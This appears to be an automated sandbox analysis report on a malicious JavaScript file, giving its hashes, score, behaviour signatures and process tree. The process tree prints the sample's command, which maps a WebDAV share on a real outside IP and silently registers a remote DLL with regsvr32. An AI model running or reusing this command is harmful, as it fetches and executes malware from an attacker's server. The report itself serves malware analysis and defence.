Analysis

  • max time kernel
    93s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-07-2024 14:25

General

  • Target

    16115202122602223586.js

  • Size

    5KB

  • MD5

    f3007fa6f1539133f442371cb2c9dc33

  • SHA1

    7921c598f7b9e6a668b2777701ba87d4d78bec4f

  • SHA256

    5107f4843ab1a7129a4802df69dfe5625113e8626b07911db48d490eb9ad494e

  • SHA512

    7d2d5bba7e211ee1d1c227e2d14a731fde9e4bbc6325b9565efc95a54974256c7104adcf117085996e08dd56e8f24ee17b911c4dba5a5aa80e8cac1a64fe53f2

  • SSDEEP

    48:ctA4OC9NE1WSEBdlIbptBDP2HKPpNFy+AkilbopNFy+XM:ctBp9y0SEywqPpNE+Aku0pNE+XM

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\16115202122602223586.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\102632075128771.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4940

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads